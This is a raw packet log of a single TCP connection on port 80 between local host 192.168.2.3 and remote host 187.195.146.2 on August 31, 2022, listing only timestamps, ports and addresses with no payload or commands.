Aug 31, 2022 08:34:14.346416950 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.346421003 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346437931 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.346440077 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346462965 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346481085 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346492052 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.346496105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346515894 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346522093 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.346534967 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346553087 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.346554041 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350146055 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.350248098 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350279093 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350294113 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350316048 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350322962 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.350337982 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350353956 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350354910 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.350377083 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350387096 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.350398064 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350414038 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350434065 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350441933 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.350461006 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350474119 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.350477934 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350497007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350517035 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.350517988 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350537062 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350559950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.350570917 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.350610971 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.354387999 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354418039 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354439020 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354460955 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354476929 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354485035 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.354496002 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354516029 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354525089 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.354535103 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354547977 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.354557991 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354569912 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.354578972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354595900 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354612112 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.354614019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354636908 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354652882 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354657888 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.354675055 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.354686975 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.354696989 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.356574059 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.358479023 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358509064 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358530045 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358551025 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358566999 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358587027 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358592033 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.358608007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358619928 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.358623981 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358642101 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358642101 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.358658075 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.358661890 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358675957 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358695030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358699083 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.358715057 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358727932 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358745098 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.358752012 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358764887 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.358771086 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358783960 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.358814955 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.361980915 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362013102 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362029076 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362044096 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.362049103 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362067938 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362082005 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362086058 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.362102032 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362119913 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.362122059 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362138033 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.362140894 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362164021 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362179995 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.362188101 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362204075 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.362242937 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.388818979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.388892889 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.388936043 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.388972998 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.389005899 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.439228058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.439277887 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.439296007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.439317942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.439338923 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.439390898 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.439426899 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.439455032 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.499505043 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.499561071 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.499586105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.502383947 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.503695965 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503739119 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503757954 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503771067 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.503779888 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503799915 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503803968 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.503822088 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503838062 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.503843069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503865004 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503876925 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.503880024 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503901005 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503921986 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.503921986 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503940105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503958941 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503978014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.503983021 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.503994942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.504012108 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.504045010 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.507692099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507728100 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507750988 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507776022 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507781029 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.507803917 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507819891 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.507823944 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507850885 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507863045 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.507878065 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507900953 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507927895 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507936954 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.507955074 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.507970095 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.507982016 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.508004904 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.508028030 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.511749983 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511779070 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511791945 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511806965 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511822939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511837006 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511847019 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.511852026 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511868000 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511878014 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.511879921 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511895895 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511909008 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.511913061 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511921883 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.511924982 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511940956 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511956930 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511967897 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511969090 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.511984110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.511997938 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.512010098 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.515829086 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.515846014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.515862942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.515898943 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.515922070 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.515923023 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.515935898 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.515981913 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.519978046 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.519999981 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520013094 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520025015 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520057917 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520071030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520075083 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.520086050 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520102024 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520106077 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.520114899 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520129919 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520138025 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.520144939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520158052 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520159960 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.520173073 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520174980 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.520190001 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520200968 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520210981 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.520216942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.520236969 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.520258904 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.523076057 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523094893 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523144960 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523159981 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.523185968 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523200035 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523215055 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523231030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523241997 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.523267031 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523272991 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.523300886 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523317099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523351908 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.523363113 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.523372889 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523392916 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523410082 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523422003 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.523447037 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.523454905 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.547091961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.547131062 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.547149897 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.547244072 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.596473932 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.596564054 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.596600056 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.596626043 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.596637011 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.596657991 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.600157022 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.600189924 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.600305080 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.655785084 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.655822992 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.655843973 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.655860901 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.655930996 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.657699108 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.660003901 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660038948 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660056114 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660075903 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660088062 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.660096884 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660113096 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660132885 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660134077 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.660154104 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660154104 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.660170078 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660190105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660196066 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.660211086 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660228014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660233021 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.660248041 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660264015 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.660269022 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660284996 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.660319090 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.664077997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.664112091 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.664129972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.664195061 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.664225101 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.667738914 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667774916 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667793036 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667813063 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667834044 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667849064 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667856932 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.667870045 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667886972 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.667891026 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667902946 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.667907953 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667927980 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667933941 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.667948961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667964935 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.667972088 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.667999029 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.671437979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671469927 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671488047 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671509027 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671529055 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671545029 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671552896 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.671566010 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671587944 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.671588898 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671592951 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.671605110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671623945 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671644926 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671648026 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.671660900 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671675920 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.671681881 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671703100 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671704054 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.671716928 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671736956 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.671753883 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.671777010 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.674985886 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.675014019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.675035954 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.675055981 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.675071955 CEST	80	49750	187.195.146.2	192.168.2.3
